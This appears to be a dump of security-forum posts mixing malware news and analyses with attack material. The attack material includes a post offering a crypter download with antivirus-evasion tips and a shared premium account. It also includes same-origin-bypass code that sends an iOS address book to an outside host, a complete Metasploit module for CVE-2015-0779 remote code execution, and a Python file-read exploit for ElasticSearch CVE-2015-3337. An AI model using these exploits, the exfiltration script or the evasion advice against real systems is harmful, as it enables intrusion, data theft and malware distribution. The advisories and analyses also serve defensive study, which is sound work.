  11. Security researchers are warning PC users in Australia to beware of new Breaking Bad-themed ransomware demanding up to $1000 AUD ($796 USD) to decrypt essential computer files. The attacks typically arrive in the form of a malicious zip archive which takes the name of a famous delivery firm as its file name, according to Symantec. The AV giant continued in a blog post: “This zip archive contains a malicious file called ‘PENALTY.VBS’ (VBS.Downloader.Trojan) which when executed, downloads the crypto ransomware onto the victim’s computer. The threat also downloads and opens a legitimate .pdf file to trick users into thinking that the initial zip archive was not a malicious file. Based on our initial analysis, the threat appears to be using components or similar techniques to an open-source penetration-testing project, which uses Microsoft PowerShell modules. This allows the attackers to run their own PowerShell script on the compromised computer to operate the crypto ransomware.” The ransom demand message that flashes up to victims uses the Los Pollos Hermanos brand, as seen in Breaking Bad – demanding they pay $450 within a specified time or else the charge will rise to $1000. The email provided for “support-related enquiries” also references lead character Walter White’s description of himself in season four as “the one who knocks.” The victim’s images, videos, documents and other important files are encrypted using a random AES key which is in turn encrypted with an RSA public key. This requires them to obtain the corresponding private key from the attackers to effectively get their files back. Also included is a handy video tutorial on how to buy bitcoins – in order to help victims pay the ransom. Symantec said its customers were protected from Trojan.Cryptolocker.S and referred worried netizens to its dedicated blog on ransomware. Cyber-criminals are increasingly turning to ransomware as an easy way to make a fast buck – sometimes with tragic results. In January it was reported that a 17-year-old student from Windsor committed suicide after receiving messages that he’d visited illegal sites and that indecent images had been found on his computer. Source
  12. Apparently harmless document files that contain a malicious macro are commonly used by cybercriminals to distribute malware. However, malicious actors continue to improve their methods in an effort to evade detection. Security researcher Bart Blaze has come across a bogus invoice spam email apparently containing a Microsoft Word document (.doc). When the document is opened, if macros are not enabled, the user is instructed to enable macros in order to view the content. Once macros are enabled, the victim is presented with an image, while in the background a piece of malware is downloaded onto the computer. It’s worth noting that macros are disabled by default in Microsoft Office. Attaching malicious macros to documents is not uncommon, but the sample analyzed by Blaze is a bit different. The document is actually an MHTML, or a Multi-Purpose Internet Mail Extension (MIME) HTML file. MHTML (.mht) is a web page archive format used to combine HTML code and other resources (e.g. images, Java applets and Flash animations) in a single document. The malicious MHTML file contains an MSO object, which in turn contains an OLE object. When the file is launched, a VBS file is downloaded from Pastebin and executed. The VBS file is designed to download and execute a Trojan downloader, which in turn downloads a piece of malware. VirusTotal links provided by Blaze suggest that the final payload is a banking Trojan. The expert told SecurityWeek that the threat is very likely the notorious Dyre. The researcher has noted that attackers can build such malicious documents by creating an MHT file, appending the MSO object at the end, and renaming the resulting file with a .doc extension. The developer of olevba, a tool designed for the analysis of malicious macros hidden inside Microsoft Office documents, has pointed out that there is an even easier method. Cybercriminals can open a Word document with macros, save it as an MHTML from Word, and rename the file extension from .mht to .doc. Belgium-based researcher Didier Stevens, the developer of the OLE file analysis tool oledump, noted in a blog post that MSO files containing OLE files were previously seen in March, when cybercriminals were using XML Office documents to distribute the Dridex financial malware. “It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email,” Blaze advised in his blog post. “If you're in an organisation, you might want to consider blocking the execution of all macros (or only the ones that are digitally signed) by using GPO.” Sursa
  13. Cineva tot imi cerea cont premium si am uitat cine, Account type: Premium Premium expires: 2015.07.21 (75 days) File stored total: 0 B Used traffic (today): 968.8 MB Available traffic (today): 19.1 GB Keep2Share.cc Pm!
  14. Make sure to run in sandboxie i cracked it via vm and did not do further analysis. For new people at crypting upload to refud.me/scan.php to prevent detections crypted file : reFUD.me - Results crypter exe file :https://www.virustotal.com/nl/file/92f783d16a5690d2895dff345aaffcdb2650e9979e297fdb0ec7ac1ece2a972b/analysis/1431128644/ download link crypter here : have fun
  15. Document Title: =============== PDF Converter & Editor 2.1 iOS - File Include Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1480 Release Date: ============= 2015-05-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1480 Common Vulnerability Scoring System: ==================================== 6.9 Product & Service Introduction: =============================== Text Editor & PDF Creator is your all-in-one document management solution for iPhone, iPod touch and iPad. It can catch documents from PC or Mac via USB cable or WIFI, email attachments, Dropbox and box and save it on your iPhone, iPod Touch or iPad locally. (Copy of the Vendor Homepage: https://itunes.apple.com/it/app/text-editor-pdf-creator/id639156936 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered file include web vulnerability in the official AppzCreative - PDF Converter & Text Editor v2.1 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-05-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== AppzCreative Ltd Product: PDF Converter & Text Editor - iOS Web Application (Wifi) 2.1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official AppzCreative - PDF Converter & Text Editor v2.1 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `submit upload` module. Remote attackers are able to inject own files with malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index file dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` in connection with the vulnerable file upload POST method request. Remote attackers are also able to exploit the filename issue in combination with persistent injected script codes to execute different malicious attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. The security risk of the local file include vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the local file include vulnerability results in mobile application compromise or connected device component compromise. Request Method(s): [+] [POST] Vulnerable Module(s): [+] Submit (Upload) Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Listing (http://localhost:52437/) Proof of Concept (PoC): ======================= The local file include web vulnerability can be exploited by remote attackers (network) without privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the software to your iOS device 2. Start the mobile ios software and activate the web-server 3. Open the wifi interface for file transfers 4. Start a session tamper and upload a random fil 5. Change in the live tamper by interception of the vulnerable value the filename input (lfi payload) 6. Save the input by processing to continue the request 7. The code executes in the main file dir index list of the local web-server (localhost:52437) 8. Open the link with the private folder and attach the file for successful exploitation with the path value 9. Successful reproduce of the vulnerability! PoC: Upload File (http://localhost:52437/Box/) <div id="module_main"><bq>Files</bq><p><a href="..">..</a><br> <a href="<iframe>2.png"><../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png</a> ( 0.5 Kb, 2015-04-30 10:58:46 +0000)<br /> </p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form></div></center></body></html></iframe></a></p></div> --- PoC Session Logs [POST] (LFI - Filename) --- Status: 200[OK] POST http://localhost:52437/Box/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[3262] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:52437] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:52437/Box/] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------321711425710317 Content-Disposition: form-data; name="file"; filename="../[LOCAL FILE INCLUDE VULNERABILITY IN FILENAME!]>2.png" Content-Type: image/png Reference(s): http://localhost:52437/ http://localhost:52437/Box/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. Encode the output in the file dir index list with the vulnerable name value to prevent application-side script code injection attacks. Security Risk: ============== The security rsik of the local file include web vulnerability in the filename value of the wifi service is estimated as high. (CVSS 6.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. 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  16. In this article we will learn about the one of the most overlooked spoofing mechanisms, known as right to left override (RTLO). What is RTLO? RIGHT TO LEFT OVERRIDE is a Unicode mainly used for the writing and the reading of Arabic or Hebrew text. Unicode has a special character, U+202e, that tells computers to display the text that follows it in right-to-left order. This vulnerability is used to disguise the names of files and can be attached to the carrier like email. For example, the file name with ThisIsRTLOfileexe.doc is actually ThisIsRTLOfiledoc.exe, which is an executable file with a U+202e placed just before “doc.” Though some email applications and services that block executable files from being included in messages also block .exe programs that are obfuscated with this technique, unfortunately many mail applications don’t or can’t reliably scan archived and zipped documents, and the malicious files manipulated in this way are indeed being spammed out within zip archives. For example, let’s create a file with Name TestingRTLO[u+202E]xcod.txt. “U+202E” can be copied and pasted from the above character map present in Windows. To make sure something is present in the character, do the following steps: Create a new text document and see its properties and note down its name: Now rename the file with the copied U+202E characters and see the change in file name: Now rename the File TestingRTLO[u+202E]xcod.txt with characters inserted and see the below results. File extension types that can be dangerous The below section lists the common file types that can be used to execute unwanted code in the system: .bat .exe .cmd .com .lnk .pif .scr .vb .vbe .vbs .wsh Remediation against RTLO Though most endpoint security solutions like antivirus detect this type of spoofing, and some IRC clients even change the crafted malicious links back to original form, many mail applications don’t or can’t reliably scan archived and zipped documents, and the malicious files manipulated in this way are indeed being spammed out within zip archives. The biggest example of this is in the usage of the backdoor “Etumbot”. Some features of Windows also help to carry this type of attack, such as Windows hides the file extensions by default. Malicious individuals can set any icon they want for let’s say a .exe file. A file named pic.jpg.exe using the standard image icon will look like a harmless image with Windows’ default settings. Uncheck this selection and Windows will stop hiding extension for known file types. Another good approach is to make sure that the folder where all the downloads take place should have its view set to ‘content’. This will make sure that the files will appear in their original form despite all the changes. Though this technique is a bit old, it is still being used in backdoors like Etumbot, malware known as Sirefef, etc. Source
  17. The mobile encryption app NQ Vault has been in the news for bad reasons. Mobile encryption apps are commonly used to prevent access to sensitive data on the phone (such as images, videos, documents and so on). These encryption apps usually offer a vault with your desired password. You can push any secret files to this vault and they would be secure, as the data present in vault is encrypted and would decrypt only when the correct password is entered. The NQ Vault app is one such mobile encryption app which boasted that it “encrypts” and secures your confidential files. All this has now become a joke and we will see why! NQ Vault allows you to pick a private passcode and “encrypts” pictures, texts, and any other data from the eyes of anyone who happens to look through your phone or device. For instance, an attacker who has access to the device should not be able to view the original files unless he knows the passcode. The idea is that even if an attacker pulls these files from the device, since they are encrypted, they would mean nothing but junk. But in case of NQ Vault, it turned out that if an attacker pulls these encrypted files, he could easily get the original files in a matter of seconds. It’s not about weak encryption The point is that NQ Vault doesn’t use any encryption algorithm to secure the user’s data. It just uses XOR substitution. So we are not talking about using a weak algorithm or a weak key. We are talking about having “no algorithm”. As discovered by blogger NinjaDoge24, NQ Vault just XORs the user’s file with a key and calls it “encrypted”. Breaking it step by step I tried to verify this practically, and here is how easy it turned out to be: Download and install the NQ Vault mobile app from Google Play Store on any Android device. Set your desired passcode (say 000). Select any secret file (for example apple.png). Here is the HEX representation of the apple.png file: Note: HEX is a positional numeral system base of 16. It uses sixteen distinct symbols, most often the symbols 0–9 to represent values zero to nine, and to represent values ten to fifteen. You can use HEX Viewer tool to view an image’s hex representation. 3. Now send the image to the NQ Vault using the app. This would mean the file apple.png is encrypted and should have been stored somewhere on the device. This is the message shown by NQ Vault: 4. These so called “encrypted” files are stored on the SD card at the location /mnt/sdcard/SystemAndroid/Data. How do I know this? Well just by looking at SQLite files in this case. Also at the above mentioned location, there is a text file saved by the app which says: 5. But these encrypted files are hidden from the user. So initially a simple ‘ls’ on the folder does not reveal anything. But ‘ls’ with –a attribute would reveal all the hidden files, as shown in the following screenshot. 6. The next thing is to pull out this encrypted file to the local machine. I used the adb pull command for this purpose. As seen below, the file is stored with a .bin extension. 7. Now see the HEX representation of this encrypted file: 8. Now just XOR abc.png & the encrypted file:\ 9. What this suggests is, based on the passcode selected by the user, it generates a “key” (30 in this case) and just XORs the user’s file with this key! Upon investigation, it turned out that this key value is always between 00 and ff, which means 255 possible values. As explained by NinjaDoge24, here are some of the passcodes and their corresponding key values: Thus, an attacker who has access to the encrypted files just need to brute force XOR with 255 possible values to get the original files back! It’s not over! The story is not over yet. It is also discovered that the app performs this worthless encryption only for the first 128 bits of the user’s file, and stores the rest in plain format. So it’s all out there in the raw for the attacker to see. For example, in the above example, notice that only the first 128 bits are XOR-ed, and rest of the bits remain the same. The below screenshot gives a clear idea: Notice that only the initial bits are transformed, while the rest of the file remains the same. Here is a simple script written by NinjaDoge24 that automates this whole process. Lessons learned Everyone makes mistakes, including reputed organizations such as Facebook, Google etc., and we all understand that. But this is just asking to be punished. All those millions of users who believed the claims of this software and unknowingly rated it at 4.6 will now feel cheated. The fact that CNET, PC Magazine and many other site reviews rated it highly points out another problem – it’s hard to trust the claims of an app just by looking at what it does. It is definitely not possible for review sites to perform a security audit of an app before they rate it. Companies need to realize the importance of the trust that users have in their brand and also need to remember that once lost, it’s very hard to gain it back. Source
  18. The Zero Access trojan (Maxx++, Sierief, Crimeware) has affected millions of computers worldwide, and it is the number one cause of cyber click fraud and Bitcoin mining on the Internet. Once the trojan has been delivered into the system, it begins to download many other types of malware that can each cause a great deal of damage to an organization. The trojan’s primary infection vector is spam mail and exploits kits, but it can also be distributed by P2P file sharing services and fake cracks and keygens. The trojan is unique in the fact that it connects to a P2P botnet chain that makes it very difficult to dismantle the botnet as a whole. Zero Access is a trojan root kit that uses advanced cloaking mechanisms to evade detection and capture. It has the ability to hide itself from several types of antivirus software and its presence in the system is extremely difficult to ascertain. It leaves no trace evidence indicating a data breach, and the network communications continue to occur as from a legitimate system process. Usually the executable file will reside in the %TEMP% directory of the workstation, and the traffic to external websites will be encoded HTTP GET and POST requests. Zero Access, once in the system, can carry out a wide variety of tasks, including: Use the infected computer for click fraud and Bitcoin mining Open the door to many other types of malware infecting the system Hide itself within the system without being detected Extract victim information including name, hostname, machine name, account name, etc. Analysis Zero Access malware can be downloaded form kernelinfo.com. In this case, the malware was downloaded intentionally for analysis. As in all analysis, the first step is to isolate the affected system. After this, the entire system is scanned for malicious content. At first glance, nothing concrete was found, but on further analysis a file is found in the %TEMP%directory of the infected workstation. An another suspicious file is also found within the %SYSTEM% directory on the workstation. This file appeared to be a configuration file of some kind, and it was protected using ACL permissions. The executable is extracted and run on a sandbox and comes up with confirmation of network indicators. The results also clearly indicate that the file was the dropper component for the Zero Access trojan. The name of the file is found to be fvshis.sav, and the contents of the file are encrypted. The strings of the executable were extracted from the memory and several artifacts were found that confirmed that the dropper received was the 32 bit version of the Max++ dropper component. Later, the dropper component of the trojan was analyzed, and at first glance the file appears to be unpacked. owever, during static analysis it is found that the file is packed using a complex custom packer. The executable also employs a complex anti-debugging scheme to further complicate analysis. The INT 2 signal is an operating system interrupt that allows the program to be debugger aware, i.e the program can detect if it is being analyzed by a debugger and kill itself. This can hinder analysis of such executables. The packing scheme employed by this particular trojan is also very complex, as it makes use of several layers of crypting and packing. It is found that the dropper component makes use of a complex packing scheme. The unpacking scheme works in chunks, with each chunk having a line of anti-debugging code. The dropper will continue to unpack itself in this manner until the entire file has been unpacked. If an analyst tries to break into the cycle with a debugger, the executable will crash the debugger. On much greater efforts, the sample was unpacked, and it was found that the sample attempts to access several directories on the host computer. From the usage of the INT 2 instruction in the code, we realize that the sample is a Ring zero rootkit, i.e it runs in kernel mode. Memory analysis was done on the sample and found that it creates a Mutex in memory. Such Mutexes are used by malware to ensure that the system is not re-infected with the same sample again. It is found that the trojan has injected itself into a legitimate process (explorer.exe) and is using this process to execute its payload. Later, kernel mode artifacts in memory were looked for, and it was found that the malware sample has hidden itself in the system as a kernel module. The trojan disguises itself as a device driver in the kernel memory. The driver is called B48DADF8.sys. Dump this module for further analysis. During preliminary analysis, the suspicious network traffic leaving the infected system was found, and this is analyzed in greater detail. HTTP requests to one domain in particular are also seen. The dropper is clearly trying to contact the above domain to download other malware samples into the infected system, and the domain name was analyzed. The resolved C&C IP address appears to be in Zurich, Switzerland. Swiss law protects the privacy of its citizens to a great extent. This makes it a very popular location for bulletproof hosting providers. Bulletproof hosting is very popular with cybercriminals for hosting their C&C servers. Further analysis into the domain shows that the domain actually maps to 3 different IP addresses including the one given above. All of the domains are in locations with strong privacy laws. We found that all three IP addresses have been blacklisted as malicious: (Switzerland) (Cayman Islands) (Cayman Islands) Although this particular trojan does not steal user information, we found that it generates a large amount of traffic from its click fraud and Bitcoin mining modules. Recommendations Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Do not click suspicious advertisements and banners while browsing the web. Make use of log analysis tools (SIEM) for greater visibility against file and network changes within your organization. Ensure that your antivirus solution is up to date with the latest virus definitions. Ensure that your systems are up to date with the latest available patches, particularly the following vulnerabilities, as this trojan makes use of them to infect systems. CVE-2006-0003 CVE-2008-2992 CVE-2009-0927 CVE-2009-1671 CVE-2009-1672 CVE-2009-4324 CVE-2010-1885 Ensure that your organization uses email gateways to filter spam messages and mails with malicious attachments. Do not click on links in email from unknown sources Do not allow any P2P file sharing software in your corporate network environment. Block traffic to the following addresses in your perimeter devices such as Firewalls and IDS/IPS solutions. References www.symantec.com Source
  19. SOP Bypassing in Safari To help you understand better, http://httpsecure.org and file://httpsecure are both treated as a different origin. The Safari browser (IOS and MAC) version 6.0.2 does not enforce the same origin policy when you need to access a local resource. When an attached HTML file tries to open using the file scheme, the JavaScript code contained within can bypass the SOP and start two –way communications with different origins. Consider the following page: <html> <body> <h1> I'm a local file loaded using the file:// scheme </h1> <script> xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText); } }; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send(); </script> </body> </html> Now that the page has loaded the file scheme, the XMLHTTPRequest object is able to read the response after requesting the above mentioned code. SOP Bypassing in Firefox Firefox is the most used browser and the same origin policy bypassing was found by Gareth Heyes in October 2012. The issue found by him is critical and the company decided to fix it and stop its distribution. The issue found in version 16 resulted in unauthorized access to the window.location object outside the constraints of the SOP. The bypassing code is shown below. <!Doctype html> <script> function poc() { var win = window.open('https://httpsecure.org/abc/', 'newWin', 'width=200,height=200'); setTimeout(function(){ alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec( win.location)[1]) }, 5000); } </script> <input type=button value="Firefox knows" onclick="poc()"> Execution of the above code from an origin you control will also authenticate into httpsecure on a separate tab of he browser. This loads httpsecure.org/abc and the application redirects to https://httpsecure.org/ <user_uid>/lists (where user_id is your httpsecure handle). After 5 seconds, the exec function will trigger the window.location object to be parsed (here’s the bug, as it shouldn’t be accessible cross-origin) with the regex. This results in the httpsecure handle displayed in the alert box. In August 2012, when Mozilla released its version with support for HTML 5 sandboxed iframes, BRAUN found the issue that, when using allow-script as a value of the iframe sandbox attribute, rogue/fake JavaScript from the iframe content could still access window.top. This would change the outer window.location. <!-- Outer file, bearing the sandbox --> <iframe src="inner.html" sandbox="allow-scripts"></iframe> The framed code was: <!-- Framed document , inner.html --> <script > // escape sandbox: if(top != window) { top.location = window.location; } // all following JavaScript code and markup is unrestricted: // plugins, popups and forms allowed. </script> This code needs to specify with additional code allow-top-navigation, and allows JavaScript code loaded inside an iframe to change the location of window. An attacker could use this to redirect user/victim to a malicious website by hooking the victim of the browser. Note: In HTML5, a new iframe attribute was introduced, called sandbox. The main focus of this new attribute was to have a more granular and secure way to use iframes, with the limited potential harm of third party content embedded from different origins. The sandbox attribute value was set to be zero or the following keywords: allow-forms, allow-popups, allow-same-origin, allow-scripts, allow-top-navigation SOP Bypassing in Opera The same origin policy bypass was found by Heyes. The issue was critical, where Opera was not properly enforcing the same origin policy when overriding prototypes or the constructor of an iframe location object. Let’s take following code example: <html> <body> <iframe id="ifr" src="http://httpsecure.org/xdomain.html"></iframe> <script> var iframe = document.getElementById('ifr'); function do_something(){ var iframe = document.getElementById('ifr'); iframe.contentWindow.location.constructor. prototype. defineGetter__.constructor('[].constructor. prototype.join=function(){console.log("pwned")}')(); } setTimeout("do_something()",3000); </script> </body> </html> Following is the content framed from a different origin: <html> <body> <b>I will be framed from a different origin</b> <script> function do_join(){ [1,2,3].join(); console.log("join() after prototype override: " + [].constructor.prototype.join); } console.log("join() after prototype override: " + [].constructor.prototype.join); setTimeout("do_join();", 5000); </script> </body> </html> In the above mentioned code frame, the console value of constructor.prototype.join is native code used when join() is called on an array. After a few seconds, join() method is called on the [1,2,3] array and the printing function used previously is called again. If you have a deep look back at the above mentioned code, you will see that join() prototype gets overridden inside the do_something() function. Note: Heyes also found SOP bypass by overriding prototypes and using literal values, which were not filtered by Opera before. In the real case scenario, this bypass only works in a frameable web application, so if the application already mitigated vulnerability like CLICKJACKING by frame busting, X-Frame-Option: deny cannot be targeted or consider mitigated. Let’s take an example where the target browser has two tabs open in an Opera browser, where one is a hacked tab and the other is authenticated. If you create an iframe with an src tag in the authenticated origin, you can read the IFRAME content by which you can access any sensitive information. Same Origin Policy Bypassing in Cloud Storage If you think the same origin policy is limited to browsers and their plugins only then, consider this: cloud storage services are also vulnerable to SOP bypass. The same is also found in DROPBOX 1.4.6 on IOS and 2.0.1 on Android, and Google Drive 1.0.1 on IOS. All of these services offer you to store and synchronize files to the cloud. Roi Saltzman found this issue, which is a bit similar to Safari SOP bypass. This bypass relies on the loading of a file in a privileged zone: File://var/mobile/application/app_uuid If an attacker is able to trick the target into loading an HTML file through the client application, the JavaScript code contained in the file will be executed. In this attack, the file is loaded in a privileged zone which allowed JavaScript access to the local file system of the mobile device. FYI: if the HTML file is loaded using the file scheme, nothing prevents JavaScript from accessing another file like: file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb The above mentioned link database contains the user’s address book on IOS. In this, if the target application denies file access outside of the application scope, you can still retrieve the cached file. In this attack, if the user accesses this malicious link, the contents of the user address book will be sent to httpsecure.org. <html> <body> <script> local_xhr = new XMLHttpRequest(); local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/ 150 Chapter 4 ? Bypassing the Same Origin Policy AddressBook.sqlitedb"); local_xhr.send(); local_xhr.onreadystatechange = function () { if (local_xhr.readyState == 4) { remote_xhr = new XMLHttpRequest(); remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://httpsecure.org/?f=" + encodeURI(local_xhr.responseText)); remote_xhr.send(); } } </script> </body> </html> Same Origin Policy Bypassing in Cross-Origin Resource Sharing (CORS) CORS is also vulnerable to the same origin policy bypass. CORS has misconfiguration of Access-Control-Allow-Origin: * The above mentioned code is a potential misconfiguration. Research says that more than one million applications misconfigured the Access-Control-Allow-Origin header. This allows any application on the Internet to submit a cross origin request to the site and read the response. The wild card value for the Access-Control-Allow-origin is not so insecure, if a permissive policy is used to provide content that does not contain sensitive information. Source
  20. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in Novell ZENworks Configuration Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in the UploadServlet which accepts unauthenticated file uploads and does not check the "uid" parameter for directory traversal characters. This allows an attacker to write anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a Metasploit exploit, but it abuses a different parameter of the same servlet. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0779'], ['OSVDB', '120382'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Novell ZCM < v11.3.2 - Universal Java', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 7 2015')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), OptString.new('TOMCAT_PATH', [false, 'The Tomcat webapps traversal path (from the temp directory)']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload_war_and_exec(tomcat_path) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s print_status("#{peer} - Uploading WAR file to #{tomcat_path}") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'POST', 'data' => war_payload, 'ctype' => 'application/octet-stream', 'vars_get' => { 'uid' => tomcat_path, 'filename' => "#{app_base}.war" } }) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else print_error("#{peer} - Failed to upload, try again with a different path?") return false end 10.times do Rex.sleep(2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Failure. Unexpected answer break if res.code != 200 # Unless session... keep looping return true if session_created? end false end def exploit tomcat_paths = [] if datastore['TOMCAT_PATH'] tomcat_paths << datastore['TOMCAT_PATH'] end tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) tomcat_paths.each do |tomcat_path| break if upload_war_and_exec(tomcat_path) end end end Source
  21. #!/usr/bin/python # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 # Pedro Andujar || twitter: pandujar || email: @digitalsec.net # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ import socket, sys print "!dSR ElasticPwn - for CVE-2015-3337\n" if len(sys.argv) <> 3: print "Ex: %s [url]www.example.com[/url] /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http port host = sys.argv[1] fpath = sys.argv[2] def grab(plugin): socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/"+plugin+"/../../../../../.."+fpath+ " HTTP/1.0\n" "Host: "+host+"\n\n") file = s.recv(2048) print " [*] Trying to retrieve "+str(fpath)+":" if ("HTTP/1.0 200 OK" in file): print "\n"+file else: print "[-] File Not Found or system not vulnerable" def pfind(plugin): try: socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/"+plugin+"/ HTTP/1.0\n" "Host: "+host+"\n\n") file = s.recv(16) print "[*] Trying to find plugin "+plugin+":" if ("HTTP/1.0 200 OK" in file): print "[+] Plugin found!" grab(plugin) sys.exit() else: print "[-] Not Found " except Exception, e: print "[-] Error connecting to "+host+" "+str(e) sys.exit() # Include more plugin names to check if they are installed pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] for plugin in pluginList: pfind(plugin) Source
